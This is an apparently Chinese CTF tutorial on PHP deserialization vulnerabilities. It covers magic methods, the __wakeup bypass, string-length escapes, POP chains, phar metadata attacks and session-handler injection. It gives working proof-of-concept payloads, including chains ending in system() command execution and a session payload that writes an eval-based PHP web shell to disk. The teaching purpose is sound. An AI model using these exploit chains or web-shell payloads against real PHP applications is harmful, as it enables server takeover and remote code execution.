首页 后端开发 php教程 PHP反序列化入门总结(小白必看)

PHP反序列化入门总结(小白必看)

Jan 28, 2023 pm 06:04 PM
php 反序列化

PHP反序列化入门总结(小白必看)

最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。

php反序列化简单理解

首先我们需要理解什么是序列化,什么是反序列化?

PHP序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

说这么多不如直接一点测试一下

php序列化的字母标识

  • a - array

  • b - boolean

  • d - double

  • i - integer

  • o - common object

  • r - reference

  • s - string

  • C - custom object

  • O - class

  • N - null

  • R - pointer reference

  • U - unicode string

  • N - NULL

测试一下

<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

O代表类,然后后面4代表类名长度,接着双引号内是类名

然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}

protected 和private其实是有不可打印字符的,所以这里附上截图

1.png

从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写

有时候做题时为了防止传参中有啥意外,一般就会urlencode一下

什么是魔术方法?

做php反序列化的题总会遇到魔术方法

其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作

举个例子如下,这里用常见的construct和destruct魔术方法,其实就是构造函数和析构函数

<?php  
class A{  
public $a="这里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="这里是__destruct";  
}  

}  
$a=new A();

//输出这里是construct这里是destruct

后边的题中也会给一些测试魔术方法的例子

想买给出魔术方法触发的情况,这对解题有很大帮助

  • __construct 当一个对象创建时被调用,

  • __destruct 当一个对象销毁时被调用,

  • __toString 当一个对象被当作一个字符串被调用。

  • __wakeup() 使用unserialize时触发

  • __sleep() 使用serialize时触发

  • __destruct() 对象被销毁时触发

  • __call() 对不存在的方法或者不可访问的方法进行调用就自动调用

  • __callStatic() 在静态上下文中调用不可访问的方法时触发

  • __get() 用于从不可访问的属性读取数据

  • __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

  • __isset() 在不可访问的属性上调用isset()或empty()触发

  • __unset() 在不可访问的属性上使用unset()时触发

  • __toString() 把类当作字符串使用时触发,返回值需要为字符串

  • __invoke() 当脚本尝试将对象调用为函数时触发

光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家

简单的反序列化题

题目来自[SWPUCTF 2021 新生赛]ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET[&#39;p&#39;];  
unserialize($p);  
?>

construct方法里admin被赋值为user,passwd被赋值为123456,而在destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag

php反序列化是可以控制类方法的属性但不能改类方法的代码

于是我们直接更改就行,

<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

__wakeup绕过

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="触发__construct";  
}  
public function __wakeup()  
{  
$this->a="触发__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

2.png

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

3.png

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

<?php  
include &#39;class.php&#39;;  
$select = $_GET[&#39;select&#39;];  
$res=unserialize(@$select);

<?php  
include &#39;flag.php&#39;;  


error_reporting(0);  


class Name{  
private $username = &#39;nonono&#39;;  
private $password = &#39;yesyes&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = &#39;guest&#39;;  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === &#39;admin&#39;) {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can&#39;t give you the flag!";  
die();  

}  
}  
}

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));

4.png

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag

5.png

POC

<?php  

 

class Name{  
private $username = &#39;admin&#39;;  
private $password = &#39;100&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET[&#39;a&#39;];  
$this->b="noflag";  
$this->c=$_GET[&#39;c&#39;];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

6.png

print(len(&#39;";s:1:"b";s:6:"noflag";s:1:"c";s:3:&#39;))  
print(36*&#39;aa&#39;)  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len(&#39;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:&#39;))

刚好为72个,成功反序列化,得到flag

7.png

由短变长

题目来自ctfshowWEB262

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET[&#39;f&#39;];  
$m = $_GET[&#39;m&#39;];  
$t = $_GET[&#39;t&#39;];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace(&#39;fuck&#39;, &#39;loveU&#39;, serialize($msg));  
setcookie(&#39;msg&#39;,base64_encode($umsg));  
echo &#39;Your message has been sent&#39;;  
}

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php  

highlight_file(__FILE__);  
include(&#39;flag.php&#39;);  

class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE[&#39;msg&#39;])){  
$msg = unserialize(base64_decode($_COOKIE[&#39;msg&#39;]));  
if($msg->token==&#39;admin&#39;){  
echo $flag;  
}  
}

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace(&#39;fuck&#39;,&#39;loveU&#39;,serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = &#39;aaa&#39;;  
protected $passwd = &#39;123456&#39;;  

public function Getflag(){  
if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){  
include(&#39;flag.php&#39;);  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo &#39;nono&#39;;  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET[&#39;w00m&#39;];  
unserialize($w00m);  

?>

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){
echo $flag;

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

<?php  
class w44m{  

private $admin = &#39;w44m&#39;;  
protected $passwd = &#39;08067&#39;;  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET[&#39;ser&#39;])){  
@unserialize($_GET[&#39;ser&#39;]);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET[&#39;ser&#39;])){@unserialize($_GET[&#39;ser&#39;]);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

8.png

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
$this->fun=$val[0];  
}

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem(&#39;ls /&#39;);";//有过滤,大小写绕过  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

}  
$a=new TianXiWei();//从这里下手触发__wakeup  
$a->ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

9.png

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

<?php  
class Test {//自定义  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>

生成一个phar.phar文件

10.png

拉进010分析

11.png

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定义  
public $name=&#39;phpinfo();&#39;;  
}  
$phar=new phar(&#39;rce.phar&#39;);  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>

这里用file_get_contents测试下

<?php  
class test{  
public $name=&#39;&#39;;  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents(&#39;phar://rce.phar/flag.txt&#39;);  
?>

12.png

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name=&#39;aa&#39;;  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST[&#39;cmd&#39;]);  
}  
}  

class zz{  
public $filename;  
public $content=&#39;surprise&#39;;  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match(&#39;/^/|php:|data|zip|..//i&#39;,$this->filename)){  
die(&#39;这不合理&#39;);  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能废弃,不想写了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST[&#39;method&#39;]}($_POST[&#39;var&#39;]);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name=&#39;eval&#39;;  
$this->arg=&#39;phpinfo();&#39;;  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST[&#39;file&#39;];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//这里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
//$o = new Test();  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();

13.png

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

14.png

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/  
error_reporting(0);  
session_start();  
//超过5次禁止登陆  
if(isset($_SESSION[&#39;limit&#39;])){  
$_SESSION[&#39;limti&#39;]>5?die("登陆失败次数超过限制"):$_SESSION[&#39;limit&#39;]=base64_decode($_COOKIE[&#39;limit&#39;]);  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;]) +1);  
}else{  
setcookie("limit",base64_encode(&#39;1&#39;));  
$_SESSION[&#39;limit&#39;]= 1;  
}  

?>

check.php源码

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h1xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once &#39;inc/inc.php&#39;;  
$GET = array("u"=>$_GET[&#39;u&#39;],"pass"=>$_GET[&#39;pass&#39;]);  


if($GET){  

$data= $db->get(&#39;admin&#39;,  
[ &#39;id&#39;,  
&#39;UserName0&#39;  
],[  
"AND"=>[  
"UserName0[=]"=>$GET[&#39;u&#39;],  
"PassWord1[=]"=>$GET[&#39;pass&#39;] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
]  
]);  
if($data[&#39;id&#39;]){  
//登陆成功取消次数累计  
$_SESSION[&#39;limit&#39;]= 0;  
echo json_encode(array("success","msg"=>"欢迎您".$data[&#39;UserName0&#39;]));  
}else{  
//登陆失败累计次数加1  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;])+1);  
echo json_encode(array("error","msg"=>"登陆失败"));  
}  
}

inc.php中有一个这个

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

而session存储格式(序列化)其中有这两种

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

ini_set(&#39;session.serialize_handler&#39;, &#39; php_serialize &#39;);

测试一下看这两个什么区别

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

在tmp下找到这个文件打开看

user|O:5:"test1":1:{s:1:"a";s:4:"test";}

<?php  
ini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);  
session_start();  
class test1{  
public $a="test";  
}  
$a=new test1();  
$_SESSION[&#39;user&#39;]=$a;

a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}

两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容

inc.php中关键代码

class User{  
public $username;  
public $password;  
public $status;  
function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  
function setStatus($s){  
$this->status=$s;  
}  
function __destruct(){  
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));  
}  
}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format(&#39;Y-m-d H:i:s&#39;));

}

可以利用这个函数写一句话木马

而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了

<?php  
class User  
{  
public $username;  
public $password;  

function __construct($username, $password)  
{  
$this->username = $username;  
$this->password = $password;  
}  
}  
$a=new User(&#39;1.php&#39;,&#39;<?php eval($_POST["1"]);?>&#39;);  
echo base64_encode("|".serialize($a));

访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符:$SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')

第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

15.png

然后发包,接着访问check.php 实现反序列化shell的写入

16.png

然后变更请求方法,注意直接右键选择变更POST请求

17.png

tricks总结

16进制绕过字符过滤

//O:1:"A":1:{s:2:"ab";s:4:"test";}  
//O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制

php类名对大小写不敏感

ctfshowWEB266

<?php  

highlight_file(__FILE__);  

include(&#39;flag.php&#39;);  
$cs = file_get_contents(&#39;php://input&#39;);  


class ctfshow{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public function __construct($u,$p){  
$this->username=$u;  
$this->password=$p;  
}  
public function login(){  
return $this->username===$this->password;  
}  
public function __toString(){  
return $this->username;  
}  
public function __destruct(){  
global $flag;  
echo $flag;  
}  
}  
$ctfshowo=@unserialize($cs);  
if(preg_match(&#39;/ctfshow/&#39;, $cs)){  
throw new Exception("Error $ctfshowo",1);  
}

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(&#39;php://input&#39;);采用php伪协议传参

直接提交POST数据就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));

18.png

+号绕过

ctfshowWEB258

